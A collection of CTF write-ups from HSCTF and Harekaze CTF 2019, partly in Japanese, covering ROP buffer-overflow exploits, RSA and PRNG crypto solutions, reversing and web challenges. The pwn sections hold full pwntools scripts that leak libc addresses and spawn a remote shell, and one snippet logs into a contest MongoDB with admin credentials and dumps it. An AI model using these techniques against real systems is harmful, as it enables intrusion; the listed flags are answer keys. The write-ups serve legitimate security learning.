Now for the got entry of `write` in the `rsi` register, we see that there is a rop gadget that will allow us to pop it into the register. It will also pop a value into the `r15` register, however we just need to include another 8 byte qword in our rop chain for that so it really doesn't affect much:
```$ python ROPgadget.py --binary storytime | grep rsi0x0000000000400701 : pop rsi ; pop r15 ; ret```
For the last register (the `1` in `rdi`) I settled this with where we jumped back to. Instead of calling `write`, I just jumped to `0x400601` which is in the middle of the `end` function:```
void end(void)
{ write(1,"The End!\n",0x28); return;}```
Specifically the instruction we jump back to will mov `0x1` into the `edi` register then call `write`, which will give us our infoleak:``` 00400606 e8 95 fe CALL write ssize_t write(int __fd, void * _ ff ff 0040060b 90 NOP 0040060c 5d POP RBP 0040060d c3 RET```
Then it will return and continue on with our rop chain. However before it does that, it will pop a value off of our chain into the `rbp` register so we will need to include a filler 8 byte qword in our rop chain at that point. For where to jump to, I choose `0x40060e`, since it is the beginning of the `climax` function which gives us a buffer overflow where we can overwrite the return address with a onegadget and pop a shell.
```void climax(void)
{ undefined local_38 [48]; read(0,local_38,4000); return;}```
Also to find the onegadget, we can just use the onegaget finder like this to find the offset from the base of libc. To choose which one to use, I normally just guess and check instead of checking the conditions at runtime (I find it a bit faster):
```$ one_gadget libc.so.60x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL```
Putting it all together, we get the following exploit. If you want to run it locally with a different version of libc, you can either swap it out with something like `LD_PRELOAD`, or just switch the `libc` variable to point to the libc version you're using. If you do do that, you will also need to update the one_gadget offset too:
```from pwn import *
# Establisht the target#target = process('./storytime')#gdb.attach(target, gdbscript = 'b *0x40060e')target = remote("pwn.hsctf.com", 3333)
# Establish the libc versionlibc = ELF('libc.so.6')#libc = ELF('libc-2.27.so')
#0x0000000000400701 : pop rsi ; pop r15 ; retpopRsiR15 = p64(0x400701)
# Got address of writewriteGot = p64(0x601018)
# Filler to reach the return addresspayload = "0"*0x38
# Pop the got entry of write into r15payload += popRsiR15payload += writeGotpayload += p64(0x3030303030303030) # Filler value will be popped into r15
# Right before write call in endpayload += p64(0x400601)
# Filler value that will be popped off in endpayload += p64(0x3030303030303030)
# Address of climax, we will exploit another buffer overflow to use the rop gadgetpayload += p64(0x40060e)
# Send the payloadtarget.sendline(payload)
# Scan in some of the outputprint target.recvuntil("Tell me a story: \n")
# Scan in and filter out the libc infoleak, calculate base of libcleak = u64(target.recv(8))base = leak - libc.symbols["write"]print hex(base)
# Calculate the oneshot gadgetoneshot = base + 0x4526a
# Make the payload for the onshot gadgetpayload = "1"*0x38 + p64(oneshot)
# Send it and get a shelltarget.sendline(payload)target.interactive()```
When we run it:```$ python exploit.py[+] Opening connection to pwn.hsctf.com on port 3333: Done[*] '/Hackery/hs/storytime/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledHSCTF PWNNNNNNNNNNNNNNNNNNNNTell me a story:
0x7fddbba46000[*] Switching to interactive modePҳ\xbb�\x00\x00p^\xab\xbb�\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xb6���\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00lsbindevflagliblib32lib64storytime$ lsbindevflagliblib32lib64storytime$ cat flaghsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}```
Just like that, we captured the flag! |
# Harekaze CTF 2019 `Baby ROP 2 [pwn 200]` writeup
## 問題

バイナリがソースコード付きで配布されていて、サーバでそのバイナリのサービスが公開されている。libcもくっついているのがBaby ROPとの違い。
Harekaze CTF終了した2時間後に解けた。GOTを追う場所を間違えた。無念...`printf("%s")`でアドレスリークができると言うのを実践できたのは収穫。
## 解法
### 簡単な調査
まずはバイナリをチェック。libc使ったROPかな。
```bash-statement$ sarucheck babyrop2o: Partial RELROo: No Canary foundx: NX enabledo: No PIEx: No RPATHx: No RUNPATH$```
64bit。最近はもう64bitしか出ないのかなぁ。
```bash-statement$ file ./babyrop2./babyrop2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=fab931b976ae2ff40aa1f5d1926518a0a31a8fd7, not stripped$```
ghidoraでソースコードを見るとBaby ROPとほぼ同じだけどバッファサイズとread使ってる点が異なる。read使ってるってことはNULLでも読んでくれるのでROPが組みやすくなる。```Cundefined8 main(void){ ssize_t sVar1; undefined local_28 [28]; int local_c; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,2,0); printf("What\'s your name? "); sVar1 = read(0,local_28,0x100); local_c = (int)sVar1; local_28[(long)(local_c + -1)] = 0; printf("Welcome to the Pwn World again, %s!\n",local_28); return 0;}```
手元で起動すると`"A" * 40`でsegmentation faultを起こせる。mainのアドレスが0x40063aだったので入れてみると2回同じメッセージが表示されたので簡単にEIPの奪取は成功。
```bash-statementimport sysimport pwn
s = b"A" * 40s += pwn.p64(0x40063a)
sys.stdout.buffer.write(s)```
```$ cat exploit_01.txt | ./babyrop2What's your name? Welcome to the Pwn World again, AAAAAAAAAAAAAAAAAAAAAAAAAAAA0!What's your name? Bus error (core dumped)saru@lucifen:~/wani-writeup/2019/05-harekaze/pwn-baby-rop-2$```
### ROPを組む
EIP取れたけれどNXがenableなのでROPを組むことを考える。戦略はlibcがついてるのでのlibc内のexecve関数と文字列`/bin/sh`を使ってシェルを起動するという手順。1. pop rdi ; ret: execveに渡す第1引数。/bin/shのアドレス。2. pop rsi ; pop r15 ; ret: execveに渡す第2引数。NULLで良い。3. libc上のexecveアドレスに飛ばす
でやってみる。まぁASLRあるんだろうなーと思いつつ、gdb上でASLRを無効にした状態ではシェルが起動することは確認。```import sysimport pwn
addr_libc_start_main = 0x0000000000021ab0addr_libc_execve = 0x00000000000e4e30addr_libc_binsh = 0x1b3e9aaddr_start_main = 0x7ffff7a05ab0
addr_offset = addr_start_main - addr_libc_start_mainaddr_execve = addr_offset + addr_libc_execveaddr_binsh = addr_offset + addr_libc_binsh
rop_pop_rdi = 0x0000000000400733rop_pop_rsi = 0x0000000000400731
s = b"A" * 40#s += pwn.p64(0x40063a)s += pwn.p64(rop_pop_rdi)s += pwn.p64(addr_binsh)s += pwn.p64(rop_pop_rsi)s += pwn.p64(0x0)s += pwn.p64(0x0)s += pwn.p64(addr_execve)
sys.stdout.buffer.write(s)```
### アドレスのリーク
で、これをremoteに送り込むコードを書いたがやはり動かない。ASLRが有効なんだろう。最近はもはやASLRが無効の問題なんて出ないんだろうか。
以前putsを使ったアドレスリークはしたことがあったのだが、今回はputsが無いようす。どうするか...といろいろぐぐったり考えたりしてたらprintfで%sの時にGOTアドレス入れれば行けるんじゃね?と思いつく。
戦略は1. ROPで「printf("Welcome to the Pwn World again, %s!", printfのGOTアドレス);」を実行してprintfのロードアドレスを%sから吐かせる2. 吐かせたprintfのロードアドレスからlibcがロードされてるアドレスを特定3. libcがロードされているアドレスを基準にexecveと/bin/shのロードアドレスを求めてROPでシェルを起動
と立てた。
と、このように、うっかりprintfのGOT (Global Offset Table)アドレスを追ってしまったのがまずかった...printfを呼び出すためにprintfのPLT (Procedure Linkage Table)は確認でいていたのでprintfのlibc上のアドレスを追ってしまった。これが間違いのもとで、objdump -d ./babyrop2するとどれがprintfに一致するのか分からない関数がたくさん出て来た。これで時間を消費してしまってタイムアップ。
```bash-statement$ objdump -d libc.so.6 | grep printf | egrep "^0"000000000004d170 <_IO_vfprintf@@GLIBC_2.2.5>:0000000000050060 <vprintf@@GLIBC_2.2.5>:0000000000052bc0 <__printf_fp@@GLIBC_2.2.5>:0000000000052be0 <register_printf_specifier@@GLIBC_2.10>:0000000000052cf0 <register_printf_function@@GLIBC_2.2.5>:0000000000052d00 <parse_printf_format@@GLIBC_2.2.5>:0000000000054a50 <register_printf_modifier@@GLIBC_2.10>:0000000000054db0 <register_printf_type@@GLIBC_2.10>:0000000000054ea0 <printf_size@@GLIBC_2.2.5>:0000000000055750 <printf_size_info@@GLIBC_2.2.5>:0000000000055770 <fprintf@@GLIBC_2.2.5>:0000000000055800 <_IO_printf@@GLIBC_2.2.5>:00000000000558b0 <snprintf@@GLIBC_2.2.5>:0000000000055940 <_IO_sprintf@@GLIBC_2.2.5>:00000000000559d0 <__asprintf@@GLIBC_2.2.5>:0000000000055a60 <dprintf@@GLIBC_2.2.5>:0000000000058940 <vfwprintf@@GLIBC_2.2.5>:0000000000070160 <_IO_vsprintf@@GLIBC_2.2.5>:0000000000071420 <fwprintf@@GLIBC_2.2.5>:00000000000714b0 <swprintf@@GLIBC_2.2.5>:0000000000071540 <vwprintf@@GLIBC_2.2.5>:0000000000071560 <wprintf@@GLIBC_2.2.5>:00000000000717e0 <vswprintf@@GLIBC_2.2.5>:00000000000766d0 <vasprintf@@GLIBC_2.2.5>:0000000000076830 <vdprintf@@GLIBC_2.2.5>:00000000000769d0 <__vsnprintf@@GLIBC_2.2.5>:0000000000076bd0 <obstack_vprintf@@GLIBC_2.2.5>:0000000000076d50 <obstack_printf@@GLIBC_2.2.5>:```
Harekaze CTFが終わってから、あ、start_mainのGOTアドレスが安定じゃん、と思いついて解いたらあっさりflagゲット。やってしまった...
### 最終プログラム
```import sysimport pwn
io = pwn.remote('problem.harekaze.com', 20005)
addr_libc_start_main = 0x0000000000020740addr_libc_execve = 0x00000000000cc770addr_libc_binsh = 0x18cd57addr_start_main_got = 0x601028addr_start = 0x400540addr_printf_plt = 0x00000000004004f0addr_welcome = 0x400770
rop_pop_rdi = 0x0000000000400733rop_pop_rsi = 0x0000000000400731
s = b"A" * 40s += pwn.p64(rop_pop_rdi)s += pwn.p64(addr_welcome)s += pwn.p64(rop_pop_rsi)s += pwn.p64(addr_start_main_got)s += pwn.p64(0x0)s += pwn.p64(addr_printf_plt)s += pwn.p64(addr_start)
io.sendline(s)buf = io.recvline()print(buf)buf = io.recvline()print(buf)
addr_start_main= buf[32:38] + b"\x00\x00"addr_start_main = pwn.u64(addr_start_main)addr_offset = addr_start_main - addr_libc_start_mainaddr_execve = addr_offset + addr_libc_execveaddr_binsh = addr_offset + addr_libc_binsh
s = b"A" * 40s += pwn.p64(rop_pop_rdi)s += pwn.p64(addr_binsh)s += pwn.p64(rop_pop_rsi)s += pwn.p64(0x0)s += pwn.p64(0x0)s += pwn.p64(addr_execve)
io.sendline(s)buf = io.recvline()print(buf)io.interactive()```
### 実行結果
```bash-statement$ python exploit_05.py[+] Opening connection to problem.harekaze.com on port 20005: Doneb"What's your name? Welcome to the Pwn World again, AAAAAAAAAAAAAAAAAAAAAAAAAAAAa!\n"b"Welcome to the Pwn World again, @\xa7'\xa9\xd1\x7f!\n"b"What's your name? Welcome to the Pwn World again, AAAAAAAAAAAAAAAAAAAAAAAAAAAAY!\n"[*] Switching to interactive mode$ cat /home/babyrop2/flagHarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng}$```
### rop_pop_rdi、rop_pop_rsi
ROPでそれぞれRDIとRSIに値を設定するためのgadget。printfの呼び出しとexecveの呼び出しの両方で利用する。
探すのにはROPgadgetコマンドを使う。
```bash-statement$ ROPgadget --binary ./babyrop2Gadgets information============================================================0x0000000000400733 : pop rdi ; ret0x0000000000400605 : pop rsi ; or ah, byte ptr [rax] ; add byte ptr [rcx], al ; ret0x0000000000400731 : pop rsi ; pop r15 ; ret```
```pythonrop_pop_rdi = 0x0000000000400733rop_pop_rsi = 0x0000000000400731```
### addr_welcome
アドレスのリーク用の"Welcome to the Pwn World again, %s!"の文字列のアドレス。これスカッとアドレスを一発で探す方法は無いんだろうか。とりあえずobjdump -sで探している。
```bash-statement$ objdump -s ./babyrop2Contents of section .rodata: 400750 01000200 00000000 57686174 27732079 ........What's y 400760 6f757220 6e616d65 3f200000 00000000 our name? ...... 400770 57656c63 6f6d6520 746f2074 68652050 Welcome to the P 400780 776e2057 6f726c64 20616761 696e2c20 wn World again, 400790 2573210a 00 %s!..$ ```
```pythonaddr_welcome = 0x400770```
### addr_start_main_got
libcのロードアドレスリーク用のGOTアドレス。GOTアドレスは実行時に動的に値が設定される。GOTアドレス自体はobjdump -dのコメントで見つけることができる。この0x601028のアドレスにlibc_start_mainがロードされているアドレスが実行時に書き込まれる。
```bash-statement$ objdump -d ./babyrop20000000000400510 <__libc_start_main@plt>: 400510: ff 25 12 0b 20 00 jmpq *0x200b12(%rip) # 601028 <__libc_start_main@GLIBC_2.2.5> 400516: 68 02 00 00 00 pushq $0x2 40051b: e9 c0 ff ff ff jmpq 4004e0 <.plt>$```
```pythonaddr_start_main_got = 0x601028```
### addr_printf_plt
アドレスをリークさせるときに呼ぶprintfのアドレス。引数にaddr_welcomeとaddr_start_main_gotを渡して%sからstart_mainのロードアドレスを吐かせる。objdump -dで調べることができる。
```bash-statement$ objdump -d ./babyrop200000000004004f0 <printf@plt>: 4004f0: ff 25 22 0b 20 00 jmpq *0x200b22(%rip) # 601018 <printf@GLIBC_2.2.5> 4004f6: 68 00 00 00 00 pushq $0x0 4004fb: e9 e0 ff ff ff jmpq 4004e0 <.plt>$```
```pythonaddr_printf_plt = 0x00000000004004f0```
### addr_start
1回目のオーバーフローで実行したROPが終わったらもう一度プログラムの最初に戻すために使う。これもobjdump -dで調べることができる。gdbで起動して`print _start`でも見つかる。
```bash-statement$ objdump -d ./babyrop2Disassembly of section .text:
0000000000400540 <_start>: 400540: 31 ed xor %ebp,%ebp 400542: 49 89 d1 mov %rdx,%r9 400545: 5e pop %rsi 400546: 48 89 e2 mov %rsp,%rdx 400549: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp 40054d: 50 push %rax 40054e: 54 push %rsp 40054f: 49 c7 c0 40 07 40 00 mov $0x400740,%r8 400556: 48 c7 c1 d0 06 40 00 mov $0x4006d0,%rcx 40055d: 48 c7 c7 36 06 40 00 mov $0x400636,%rdi 400564: e8 a7 ff ff ff callq 400510 <__libc_start_main@plt> 400569: f4 hlt 40056a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)$```
```bash-statementgdb-peda$ print _start$1 = {<text variable, no debug info>} 0x400540 <_start>gdb-peda$```
```pythonaddr_start = 0x400540```
### addr_libc_start_mainstart_main関数のlibc上でのアドレス。GOTアドレスからリークさせたstart_main関数がロードされているアドレスaddr_start_mainからこのアドレスを引くことでlibcがロードされているアドレスaddr_offsetを算出することができる。
調べ方は`objdump -d libc.so.6`して出てきたコード上のアドレスを探すだけ。
```bash-statement$ objdump -d libc.so.6 | grep start_main0000000000020740 <__libc_start_main@@GLIBC_2.2.5>:```
```pythonaddr_libc_start_main = 0x0000000000020740```
### addr_libc_execveexecveのlibc上でのアドレス。このアドレスとlibcがロードされているアドレスを足せばexecveがロードされているアドレスaddr_execveが分かるのでexecve("/bin/sh")が実行できる。
調べ方は`objdump -d libc.so.6`して出てきたコード上のアドレスを探すだけ。
```bash-statement$ objdump -d libc.so.6 | grep execve00000000000cc770 <execve@@GLIBC_2.2.5>:```
```pythonaddr_libc_execve = 0x00000000000cc770```
### addr_libc_binsh
libc上で`/bin/sh`が書かれているアドレス。最終的にlibcがロードされているアドレスaddr_offsetとこのアドレスを足して`/bin/sh`がロードされているアドレスaddr_binshを算出し、execveに渡す引数として利用する。
stringsコマンドで調べることができる。
```bash-statement$ strings -t x libc.so.6 | grep "/bin/sh" 18cd57 /bin/sh$```
```pythonaddr_libc_binsh = 0x18cd57```
### 残り
後はいろいろもろもろリークさせたアドレスから計算。
```pythonaddr_start_main= buf[32:38] + b"\x00\x00"addr_start_main = pwn.u64(addr_start_main)addr_offset = addr_start_main - addr_libc_start_mainaddr_execve = addr_offset + addr_libc_execveaddr_binsh = addr_offset + addr_libc_binsh```
## 参考
- [sCTF 2016 Q1 writeup - yuta1024's diary](http://yuta1024.hateblo.jp/entry/2016/04/29/215700)
|
# Forgot Your Password?Description```Written by: Ptomerty
Help! I got this new lock for Christmas, but I've forgotten the first two values. I know the last value is hsctfissocoolwow. I also managed to grab a copy of their secret key generator. Can you help me out?
Note: submit the first two combo values separated by a space in hex format.```[generator.py](generator.py)
I explain only the `next()` and `h()` bacause others is not important
`m()` function reduce the size of number become 8 bytes (Because of & operator)
`h()` function is do some complicated calculation and put it to `s[0]` and `s[1]`
`next()` function is just running `h()` and return `m(b)````pythondef m(a): return a&0xffffffffffffffffdef next(): b = m(s[0]+s[1]) h() return m(b)def h(): s1 = m(x(s[0],s[1])) s[0] = m(x(oro(o(s[0],55),p(55,s[0])),x(s1,(o(s1,14))))) s[1] = m(oro(o(s1,36),p(36,s1)))```
`bin2chr` function is just binary to characters
`isp` function is just check whether the binary is printable (In ASCII range)```python# Helper methodsdef bin2chr(data): result = '' while data: char = data & 0xff result += chr(char) data >>= 8 return result
def isp(d): if all(c in ch for c in d): return d else: return d.encode('hex')```And the last part:```python# throw away first value for additional randomnessnext()next()
COMBO_NUM_1 = isp(bin2chr(next())) + isp(bin2chr(next()))COMBO_NUM_2 = isp(bin2chr(next())) + isp(bin2chr(next()))COMBO_NUM_3 = isp(bin2chr(next())) + isp(bin2chr(next()))
print "Thanks! Your numbers are: "print COMBO_NUM_1print COMBO_NUM_2print COMBO_NUM_3```According to the description, it said the last value is `hsctfissocoolwow`
And tell us to recover first two combo values, which is `COMBO_NUM_1` and `COMBO_NUM_2`
So we need to find the original `s[0]` and `s[1]` after calling `next()` 6 times and resulting the `COMBO_NUM_3` is `hsctfissocoolwow`
I used the popular **z3 solver** which can solve very complex maths algorithm
[Full script in python](solve.py)```pythonfrom z3 import *solver = Solver()s = [BitVec('s%i' % i, 128) for i in range(2)] # Declare two binary value in size of 128flag = 'hsctfissocoolwow'flag1 = int(flag[:-8][::-1].encode('hex'),16) # Convert first half into integerflag2 = int(flag[8:][::-1].encode('hex'),16) # Convert second half into integer
def o(x,k): # Copied the functions in the generator.py return x<<k.........
next() # Call next() 6 timesnext()next()next()next()next()solver.add(next() == flag1) # Add condition in 7th next() is equal to first halfsolver.add(next() == flag2) # Add condition in 8th next() is equal to second halfprint solver.check() # Check is solvableprint solver.model() # Print the result```## Result```sat[s1 = 16423178736247365899, s0 = 81081519719372872192][Finished in 54.5s]```Completed in just 54 second
The result means the `SECRET_1` is 81081519719372872192 and `SECRET_2` is 16423178736247365899
We can just substitute inside `generator.py` and run it!
And the first two value is our flag!
## Result```Thanks! Your numbers are: e06f76cd556604f0f21c34f1519d2fd273c8535ab0f954b5ad1cbab7abc18309hsctfissocoolwow```
## Flag> e06f76cd556604f0f21c34f1519d2fd2 73c8535ab0f954b5ad1cbab7abc18309 |
# Massive RSA
## Description
I was scared that my RSA would be broken, so I made sure that the numbers were massive.
[massive.txt](massive.txt)
## Solution
The n is actually a prime.
So phi(n) = n-1. Perform the modded inverse of e and decrypt the message.
```d=modinv(e,n-1)import codecsprint(codecs.decode(hex(pow(c,d,n))[2:],'hex'))```
The flag is```hsctf{forg0t_t0_mult1ply_prim3s}``` |
# Inspect Me
## Description
Keith's little brother messed up some things...
https://inspect-me.web.chal.hsctf.com
Note: There are 3 parts to the flag!
## Solution

```hsctf{that_was_pretty_easy_right}``` |
```from pprint import pprint as ppfrom pymongo import MongoClient as MC
client = MC("keith-logger-mongodb.web.chal.hsctf.com", 27017, username="admin", password="keithkeithkeith")
print("Database Name:", client.list_database_names())db = client.get_database("database")print("Collection Name:", db.list_collection_names())coll = db.get_collection("collection")
for collection in coll.find(): pp(collection)``` |
# Welcome to Crypto Land
## __Description__
Crypto land is fun! Decrypt:```KZ6UaztNnau6z39oMHUu8UTvdmq1bhob3CcEFdWXRfxJqdUAiNep4pkvkAZUSn9CvEvPNT5r2zt6JPg9bVBPYuTW4xr8v2PuPxVuCT6MLJWDJp84```
## __Solution__
Try various decryption and the base58 work.

``` hsctf{w0w_th1s_1s_my_f1rst_crypt0_chall3ng3?} ``` |
# A byte
## Description
Just one byte makes all the difference.
[a-byte](a-byte)
## Solution
Looking the assembly code by r2. In the main function, the input message is checked whether the strlen is 0x23=35.
```0x0000078e e85dfeffff call sym.imp.strlen ; size_t strlen(const char *s)0x00000793 8945c4 mov dword [local_3ch], eax0x00000796 837dc423 cmp dword [local_3ch], 0x23 ; '#'```
Next, it is xored by 1 per byte
```.---> 0x000007a5 8b45c0 mov eax, dword [local_40h]:|| 0x000007a8 4863d0 movsxd rdx, eax:|| 0x000007ab 488b45c8 mov rax, qword [local_38h]:|| 0x000007af 4801d0 add rax, rdx ; '(':|| 0x000007b2 0fb608 movzx ecx, byte [rax]:|| 0x000007b5 8b45c0 mov eax, dword [local_40h]:|| 0x000007b8 4863d0 movsxd rdx, eax:|| 0x000007bb 488b45c8 mov rax, qword [local_38h]:|| 0x000007bf 4801d0 add rax, rdx ; '(':|| 0x000007c2 83f101 xor ecx, 1:|| 0x000007c5 89ca mov edx, ecx:|| 0x000007c7 8810 mov byte [rax], dl:|| 0x000007c9 8345c001 add dword [local_40h], 1:|| ; CODE XREF from main (0x7a3):|`-> 0x000007cd 8b45c0 mov eax, dword [local_40h]:| 0x000007d0 3b45c4 cmp eax, dword [local_3ch]`===< 0x000007d3 7cd0 jl 0x7a5```
Finally, it is compared with the following string.
```| : | 0x000007d5 c645d069 mov byte [local_30h], 0x69 ; 'i'| : | 0x000007d9 c645d172 mov byte [local_2fh], 0x72 ; 'r'| : | 0x000007dd c645d262 mov byte [local_2eh], 0x62 ; 'b'| : | 0x000007e1 c645d375 mov byte [local_2dh], 0x75 ; 'u'| : | 0x000007e5 c645d467 mov byte [local_2ch], 0x67 ; 'g'| : | 0x000007e9 c645d57a mov byte [local_2bh], 0x7a ; 'z'| : | 0x000007ed c645d676 mov byte [local_2ah], 0x76 ; 'v'| : | 0x000007f1 c645d731 mov byte [local_29h], 0x31 ; '1'| : | 0x000007f5 c645d876 mov byte [local_28h], 0x76 ; 'v'| : | 0x000007f9 c645d95e mov byte [local_27h], 0x5e ; '^'| : | 0x000007fd c645da78 mov byte [local_26h], 0x78 ; 'x'| : | 0x00000801 c645db31 mov byte [local_25h], 0x31 ; '1'| : | 0x00000805 c645dc74 mov byte [local_24h], 0x74 ; 't'| : | 0x00000809 c645dd5e mov byte [local_23h], 0x5e ; '^'| : | 0x0000080d c645de6a mov byte [local_22h], 0x6a ; 'j'| : | 0x00000811 c645df6f mov byte [local_21h], 0x6f ; 'o'| : | 0x00000815 c645e031 mov byte [local_20h], 0x31 ; '1'| : | 0x00000819 c645e176 mov byte [local_1fh], 0x76 ; 'v'| : | 0x0000081d c645e25e mov byte [local_1eh], 0x5e ; '^'| : | 0x00000821 c645e365 mov byte [local_1dh], 0x65 ; 'e'| : | 0x00000825 c645e435 mov byte [local_1ch], 0x35 ; '5'| : | 0x00000829 c645e55e mov byte [local_1bh], 0x5e ; '^'| : | 0x0000082d c645e676 mov byte [local_1ah], 0x76 ; 'v'| : | 0x00000831 c645e740 mov byte [local_19h], 0x40 ; segment.PHDR| : | 0x00000835 c645e832 mov byte [local_18h], 0x32 ; '2'| : | 0x00000839 c645e95e mov byte [local_17h], 0x5e ; '^'| : | 0x0000083d c645ea39 mov byte [local_16h], 0x39 ; '9'| : | 0x00000841 c645eb69 mov byte [local_15h], 0x69 ; 'i'| : | 0x00000845 c645ec33 mov byte [local_14h], 0x33 ; '3'| : | 0x00000849 c645ed63 mov byte [local_13h], 0x63 ; 'c'| : | 0x0000084d c645ee40 mov byte [local_12h], 0x40 ; segment.PHDR| : | 0x00000851 c645ef31 mov byte [local_11h], 0x31 ; '1'| : | 0x00000855 c645f033 mov byte [local_10h], 0x33 ; '3'| : | 0x00000859 c645f138 mov byte [local_fh], 0x38 ; '8'| : | 0x0000085d c645f27c mov byte [local_eh], 0x7c ; '|'| : | 0x00000861 c645f300 mov byte [local_dh], 0``````| : | 0x00000873 e898fdffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)| : | 0x00000878 85c0 test eax, eax| `=====< 0x0000087a 0f85e4feffff jne 0x764| | 0x00000880 488d3dc20000. lea rdi, qword str.Oof__ur_too_good ; 0x949 ; "Oof, ur too good"| | 0x00000887 e854fdffff call sym.imp.puts ; int puts(const char *s)```So I wrote a simple [script](solve.py) to xor the string back and yield the flag.
```hsctf{w0w_y0u_kn0w_d4_wA3_8h2bA029}``` |
# Really Secure Algorithm
## Description
I heard about RSA, so I took a go at implementing it.
[Secure.txt](Secure.txt)
## Solution
The n is actually a sqaure number.
```***factors found***
P386 = 16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647P386 = 16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647```
If n = p * p, phi(n) = p * (p-1)
Perform mod inverse on e and decrypt the message.
```d=modinv(e,(p-1)*p)import codecsprint(codecs.decode(hex(pow(c,d,n))[2:],'hex'))```
The flag is
```hsctf{square_number_time}``` |
Admin Pass
# Description
Hey guys, found a super cool website at http://misc.hsctf.com:8001!
Edit: If the site is blocked by school filters, try
http://misc.hsctf.com or http://misc.hsctf.com:8080; both will work!
# Solution

Going to the website we are given a password field, and a link to a gitlab page. Going to the gitlab page, we are given a description of the project, but nothing that could be useful to us as of yet. Gitlab is a version control service, so given that we have access to previous versions of the website it might be a good idea to check out the commits and see what's there.

There seems like a lot of commits with descriptions that aren't super telling of what they contain. Using brute force and just going through all of the commits we eventually come across one interesting one.

It seems that there is a comparsion check with something that looks exaclty like a ctf flag. Inputting it back in to the password checker website, tells us that we've got the correct flag. |
# Skywriting v2
## Description
Fortnite Battle Royale contains a variety of weapons and this page lists every weapon in Fortnite along with their weapon stats like damage, DPS, fire rate, magazine size, and reload speed.
Note: This was a throwback to the original skywriting which included many big leaps of intuition.
This problem has now been modified to make it more doable.
Hint 1: I like xoring together the names of "Rifle"s together.
Hint 2: Try googling the first sentence of this problem.
Flag: LjUlMiA9LxI1GTUTNiodECAtUSx5YxY4
## Solution
I solved this challenge in a quite strange [way](wtf.py).
I thought that because the encrypted flag was xored by the keys, it's not likely that all of the characters were printable.
So first I decoded it with base64.
```>>> base64.b64decode('LjUlMiA9LxI1GTUTNiodECAtUSx5YxY4')b'.5%2 =/\x125\x195\x136*\x1d\x10 -Q,yc\x168'```
Because the flag's first word is 'h', I calculated which number should '.' xor to become 'h' and xored the whole string with it.```>>> b = b''>>> xor = a[0] ^ ord('h')>>> for i in range(24):>>> b += chr(a[i] ^ xor)>>> print(b)hsctf{iTs_sUpl[Vfk\x17j?%P~```Surprisingly, the flag's format popped out.
Next, I guessed the second word would be 'sUper' and cauculted which number should 'l' xor to become 'e'.
This time, only the characters after 'l' were xored by this number.
```>>> c = ''>>> xor = ord(b[13]) ^ ord('e')>>> for i in range(24):>>> if i < 13:>>> c += b[i]>>> else:>>> c += chr(ord(b[i]) ^ xor)>>> print(c)hsctf{iTs_sUpeR_ob\x1ec6,Yw```It seemed promising, doing the same guessing thing several times, I recovered the flag to```hsctf{iTs_sUpeR_obG:ouS}```It's super obvious that the answer is 'iTs_sUpeR_obviouS'. (ˊωˋ)
But I didn't know the cases of 'v' and 'i'. Guessing the flag on the server gave me the answer.
```hsctf{iTs_sUpeR_obViouS}```
